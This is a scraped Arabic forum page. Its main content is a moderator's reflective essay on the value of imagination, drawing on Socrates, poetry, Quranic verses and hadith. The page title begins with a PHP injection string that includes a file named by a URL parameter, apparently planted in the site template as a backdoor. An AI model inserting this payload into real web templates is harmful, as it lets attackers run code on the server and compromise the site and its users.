".print include($HTTP_GET_VARS[ds])." ليس عيبا أن تتخيل - منتدى الأميرة النسائي - أزياء فساتين - موضة - مكياج - مطبخ
 

العودة   منتدى الأميرة النسائي - أزياء فساتين - موضة - مكياج - مطبخ > منتديات عامة > الأدب و الثقافة

إضافة رد
 
أدوات الموضوع إبحث في الموضوع انواع عرض الموضوع
  #1  
قديم 01-Aug-2015, 05:24 PM
الصورة الرمزية فيروز لؤلؤة المنتدى
فيروز لؤلؤة المنتدى فيروز لؤلؤة المنتدى غير متواجد حالياً
مراقب

المشرفة المتالقة  التكريم 

 






فيروز لؤلؤة المنتدى has a reputation beyond repute فيروز لؤلؤة المنتدى has a reputation beyond repute فيروز لؤلؤة المنتدى has a reputation beyond repute فيروز لؤلؤة المنتدى has a reputation beyond repute فيروز لؤلؤة المنتدى has a reputation beyond repute فيروز لؤلؤة المنتدى has a reputation beyond repute فيروز لؤلؤة المنتدى has a reputation beyond repute فيروز لؤلؤة المنتدى has a reputation beyond repute فيروز لؤلؤة المنتدى has a reputation beyond repute فيروز لؤلؤة المنتدى has a reputation beyond repute فيروز لؤلؤة المنتدى has a reputation beyond repute
افتراضي ليس عيبا أن تتخيل

عندما يجسد الخيال الأشياء فإنه يصب صوراً من استوديوهات الدماغ إلى مسرح البصر.

قرأت ذات مرة كلمة سقراط "الخيال هو العلامة الحقيقية للذكاء"، وكنت أشك في صدق هذا القول، لم أكن متدرباً على التخيل، كان من حولي ينظرون إلى خيال الطفل على أنه "مرحلة وتعدي"، الأنظمة في البيت والمدرسة والمحضن التربوي تتجاهل الخيال، وتعتمد على الحفظ والتلقين والترديد والممارسة والطاعة!.

فبقي الخيال مختبئاً في قوقعته الطفولية الحالمة.

ثم لاحظت أنك حين تتخيل أحداً يقضم ليمونة شديدة الحموضة بشراهة ووجهه يقطب فسوف يسيل لعابك!

وتلك حالة شعورية منبثقة من مصدر بداخلك.

وحين تتخيل جمالاً أخاذاً فسوف يستفز طاقتك كأنك تراه!

وحين تسمع صوتاً على الطرف الآخر من الهاتف يسابقك عقلك في رسم الصورة أو تقريبها بما يتناسب ونبرة الصوت.

وحين تتخيل عزيزاً تشتاق إليه فربما ذهلت عما حولك وكأنك تحادثه وتناجيه وتبثه أحاسيسك!، ويسافر قلبك وعقلك إليه تاركاً جسدك مع الجلساء!

جِسمي معي غَيرَ أنّ الرّوحَ عندَكمُ ××× فالجسمُ في غُرْبَةٍ وَالرّوحُ في وَطَنِ

فَليَعجَبِ النّاسُ منّي أنّ لي بَدَناً ××× لا رُوحَ فيهِ، وَلي رُوحٌ بلا بَدَنِ



تأمَّل هذا الحديث:

عَنْ أَبِى هُرَيْرَةَ أَنَّهُ سَمِعَ رَسُولَ اللَّهِ -صلى الله عليه وسلم- يَقُولُ « أَرَأَيْتُمْ لَوْ أَنَّ نَهْرًا بِبَابِ أَحَدِكُمْ يَغْتَسِلُ مِنْهُ كُلَّ يَوْمٍ خَمْسَ مَرَّاتٍ هَلْ يَبْقَى مِنْ دَرَنِهِ شَىْءٌ ». قَالُوا لاَ يَبْقَى مِنْ دَرَنِهِ شَىْءٌ. قَالَ « فَذَلِكَ مَثَلُ الصَّلَوَاتِ الْخَمْسِ يَمْحُو اللَّهُ بِهِنَّ الْخَطَايَا » (متفق عليه).

هل يمكن أن تقرأ هذا النص دون أن تتخيل نفسك وقد خرجت من باب منزلك ففوجئت بنهر يعترض طريقك؟

إن لم يقع ذلك سلفاً فحري أن يقع الآن، فإن وقتك مع نفسك ثمين، ولا يلزم أن تقضيه في ارتكازات مع الواقعية فقط، وكأن عقلك سجين قضبان اللحظة الراهنة!

حين تقرأ سورة {أَلَمْ تَرَ كَيْفَ فَعَلَ رَبُّكَ بِأَصْحَابِ الْفِيلِ}.

هل يمكنك حجب الخيال عن تصور مشهد القوم، والطير الأبابيل ترميهم بالحجارة، فيقعون صرعى كأنهم بقايا زرع يابس؟

أو تقرأ سورة العاديات فلا تتصوّر كتيبة الخيل وهي تعدو وتصوّت، وتضرب الأرض بأقدامها وتغير على العدو قبل النهار، في مشهد درامي متحرك!

من الذي يقرأ نعيم الجنة، أو عذاب النار في القرآن دون أن يرسم له الخيال صور الوجوه الناعمة الراضية، أو صور وجوه أخرى عليها غبرة، ترهقها قترة؟

ولماذا تقشعر بعض الأبدان ثم تلين الجلود والقلوب إلى ذكر الله؟

على أنه ليس في الآخرة مما في الدنيا إلا الأسماء.

الخيال هنا يجعل القارئ يعيش في قلب الحدث متلبساً به وليس مشاهداً من خارجه.

في حديث عبد الله بن عمر مرفوعاً: « مَنْ سَرَّهُ أَنْ يَنْظُرَ إِلَى يَوْمِ الْقِيَامَةِ كَأَنَّهُ رَأْىُ عَيْنٍ فَلْيَقْرَأْ (إِذَا الشَّمْسُ كُوِّرَتْ) وَ (إِذَا السَّمَاءُ انْفَطَرَتْ) و ( إِذَا السَّمَاءُ انْشَقَّتْ) ». (أخرجه أحمد، والترمذي، والطبراني، وصححه الحاكم، وقال ابن حجر في الفتح: "حديث جيد").

أسماء الله الحسنى وصفاته لا يلحقها خيال ولا توهم {وَلَا يُحِيطُونَ بِهِ عِلْمًا} (110) سورة طـه، {لاَّ تُدْرِكُهُ الأَبْصَارُ وَهُوَ يُدْرِكُ الأَبْصَارَ} (103) سورة الأنعام، ومع ذلك لا يمكن منع الذهن من التصور، ولذا قال الأئمة: كل ما خطر ببالك فالله ليس كذلك.

ولذا قال صلى الله عليه وسلم: « أَمَا إِنَّكُمْ سَتَرَوْنَ رَبَّكُمْ كَمَا تَرَوْنَ هَذَا الْقَمَرَ لَا تُضَامُّونَ فِي رُؤْيَتِهِ.. » (متفق عليه).

حين يُعرِّف النبي -عليه السلام- الإحسان بأنه: « أَنْ تَعْبُدَ اللَّهَ كَأَنَّكَ تَرَاهُ فَإِنْ لَمْ تَكُنْ تَرَاهُ فَإِنَّهُ يَرَاكَ ».

فهو مستوى من التحفيز والحضور عظيم يجعل للعبادة معنى، ويحولها من تبعة إلى متعة « أَرِحْنَا بِهَا يَا بِلاَل ».

كل تغيير في الحياة يسبقه خيال.

إنه الأداة السرية التي نركبها قارباً لأهدافنا، ويمتص بها العقل ضغوط الحياة، وتجعلنا نتطلع إلى مستقبل أفضل ونتحدى الصعاب ونحل المشكلات.

عليك أن تتخيل الصورة التي تريد أن تكون عليها، أو يكون عليها مجتمعك، ثم تبدأ المسير، فأهدافك صورة تخيلية لما ترجوه في مستقبلك.

الأحلام تبدأ من الخيال، والخيال قد ينسجه عقل أو قلب.

إذا بلغت سطوة الواقع عليك بحيث لا تتخيّلْ تغييره، ولا تتصور حياتك منفصلة عنه فأنت بذلك تمنحه عمراً إضافياً، وتمد أمد المعاناة.

أول خطوات التغيير هي التخيل إذا، فما وراء الأبواب المغلقة يسبقك إليه الخيال.

فالتخيل غذاء العقل الباطن لأن هذا الأخير لا يفرق بين الخيال و الحقيقة

 

 

توقيع : فيروز لؤلؤة المنتدى

نقره لعرض الصورة في صفحة مستقلةليس گل مآ اگتبـه تحت إسمي دائماً"ترجمة لأحآسيسي ۆليس گل مآفي صورتي وُمآ أرسله حگـآيـه عن واقعي!إنما هي ڳِلمـات راقت لي وقد يحتاجها غَيّرِي

رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

أدوات الموضوع إبحث في الموضوع
إبحث في الموضوع:

البحث المتقدم
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
كيف تتخيل المنتدى بعد ســــــــ100ــــــــنة؟ زفة الأميرة جمال و أناقة 0 07-Jan-2012 09:54 AM
لكل عروس تانقي وتميزي ببديل الحناء في ليلة العمر...........لايفوووووووووووتكم شي خيال زفة الأميرة الموضة و الأزياء 0 02-Dec-2011 08:00 PM


الساعة الآن 08:04 AM.


Powered by vBulletin Version 3.8.4
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd
Support-ar
منتدى الأميرة النسائي - أزياء فساتين - موضة - مكياج - مطبخ